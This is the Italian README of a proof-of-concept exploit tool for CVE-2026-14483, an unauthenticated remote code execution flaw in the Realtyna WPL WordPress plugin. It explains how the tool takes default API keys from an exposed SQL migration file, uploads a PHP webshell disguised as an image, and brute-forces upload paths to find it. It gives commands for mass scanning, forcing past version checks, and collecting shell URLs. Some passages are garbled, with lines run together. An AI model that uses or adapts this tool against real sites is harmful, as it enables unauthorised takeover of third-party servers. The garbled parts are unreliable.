
# CVE-2026-14483 POC EXPLOIT BY MADEXPLOITS
Esecuzione remota di codice non autenticata contro il plugin WordPress Realtyna WPL Real Estate Listing.
| Campo | Dettaglio |
|---|
| CVE | CVE-2026-14483 |
| Versione interessata | <= 5.2.0 |
| Plugin | real-estate-listing-realtyna-wpl |
| Impatto | Caricamento non autenticato di webshell PHP (RCE) |
| Script | CVE-2026-14483.py |
| Autore | MADEXPLOITS |
Di default lo script sfrutta solo target che eseguono WPL 5.2.0. Usa
--forceper forzare.

api_key / api_secret predefiniti sono esposti tramite un dump pubblico della migrazione SQL.set_property), consentendo di caricare un file PHP appositamente predisposto come immagine della proprietà.wp-content/uploads/WPL/{property_id}/.pip install requests colorama
Crea un file di testo con un URL di base per riga:
http://wplab.test
https://example.com
python CVE-2026-14483.py --targets targets.txt
Gli URL delle shell trovati vengono aggiunti a result.txt (o --output).
python CVE-2026-14483.py \
--targets targets.txt \
--output result.txt \
--user-id 1 \
--max-id 1000 \
--timeout 30 \
--threads 5 \
--debug \
--force
| Argomento | Predefinito | Descrizione |
|---|---|---|
--targets | (obbligatorio) | File con URL di base (uno per riga) |
--output | result.txt | File a cui aggiungere gli URL delle shell trovate |
--user-id | 1 | ID utente WordPress / WPL proprietario della nuova proprietà |
--payload | shell di upload incorporata | Stringa payload PHP personalizzata |
--max-id | 1000 | ID massimo della proprietà da provare (brute-force) per individuare la shell |
--timeout | 30 | Timeout HTTP in secondi |
--threads | 5 | Thread di lavoro concorrenti |
--debug | off | Log di debug dettagliato |
--force | off | Esegue l'exploit anche se la versione ≠ 5.2.0 o non può essere rilevata |
Target URL
│
▼
Detect WPL version (readme.txt / wpl.php)
│ skip unless == 5.2.0 (or --force)
▼
Fetch api_key + api_secret from:
/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
│
▼
POST set_property via WPL I/O API
(upload image_0x89MADEXPLOITS.php as image/jpeg)
│
▼
Brute-force property ID 1..max-id
/wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
│
▼
Write shell URL → output file
Marcatore predefinito della shell: MADEXPLOITS
Nome file remoto predefinito: 0x89MADEXPLOITS.php
Singolo target di laboratorio (questo workspace):
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
Scansione di massa con maggiore concorrenza:
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
Forza l'exploit quando il controllo della versione fallisce:
python CVE-2026-14483.py --targets targets.txt --force
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
result.txt contiene un URL di shell per riga.
Stable tag: / Version: nel readme.txt del plugin, con fallback a wpl.php.--max-id.